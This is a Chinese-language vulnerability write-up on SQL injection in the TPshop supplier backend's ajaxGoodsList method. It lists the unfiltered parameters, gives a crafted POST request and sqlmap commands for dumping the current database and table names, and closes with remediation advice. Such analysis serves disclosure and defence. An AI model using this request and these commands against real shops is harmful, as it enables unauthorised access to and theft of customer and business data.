某Shop供应商后台SQL Injection(一)
字数 899 2025-08-26 22:11:28
TPshop供应商后台SQL注入漏洞分析与利用
0x01 漏洞概述
TPshop(Thinkphp shop)是由深圳搜豹网络有限公司开发的一套多商家模式的商城系统。该系统在供应商后台的Goods.php文件中存在SQL注入漏洞,攻击者可以通过构造恶意请求获取数据库敏感信息。
0x02 漏洞分析
受影响文件
/Application/supplier/Controller/Goods.php中的ajaxGoodsList方法
漏洞代码分析
-
参数处理缺陷:
brand_id参数直接拼接到WHERE语句中(第47行)is_on_sale参数直接拼接到WHERE语句中(第48行)key_word参数经过无意义处理后拼接到WHERE语句中作为模糊查询(第51-53行)orderby1和orderby2参数直接拼接为ORDER BY语句(第72-73行)
-
关键问题:
- 所有参数外部可控且无任何过滤
- 直接拼接SQL语句导致注入
0x03 漏洞利用
可利用参数
brand_idis_on_salekey_wordorderby1(POST参数)orderby2(POST参数)
复现步骤
- 构造恶意请求:
POST /index.php/Supplier/goods/ajaxGoodsList/brand_id/1*/is_on_sale/1/key_word/1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
orderby1=brand_id&orderby2=asc
- 使用sqlmap自动化利用:
# 基本检测
sqlmap -r tpshop.txt --random-agent --batch --dbms "mysql"
# 获取当前数据库
sqlmap -r tpshop.txt --random-agent --batch --dbms "mysql" --current-db
# 获取表名
sqlmap -r tpshop.txt --random-agent --batch --dbms "mysql" -D tpshop3.0 --tables
0x04 漏洞修复建议
-
参数过滤:
- 对所有输入参数进行严格的类型检查和过滤
- 使用白名单机制验证参数值
-
使用预处理语句:
- 使用PDO或mysqli的预处理功能
- 避免直接拼接SQL语句
-
权限控制:
- 限制供应商后台的访问权限
- 实现最小权限原则
0x05 技术要点总结
-
注入点识别:
- 关注直接拼接SQL语句的代码段
- 特别注意WHERE和ORDER BY子句
-
利用技巧:
- 多个参数均可触发漏洞
- 可通过GET和POST两种方式注入
-
防御措施:
- 输入验证
- 参数化查询
- 错误信息处理
0x06 扩展思考
-
框架安全性:
- ThinkPHP框架的常见安全问题
- ORM与原生SQL的安全对比
-
自动化检测:
- 如何自动化识别此类漏洞
- 静态代码分析工具的使用
-
业务影响:
- 供应商后台漏洞可能导致的业务风险
- 数据泄露的潜在后果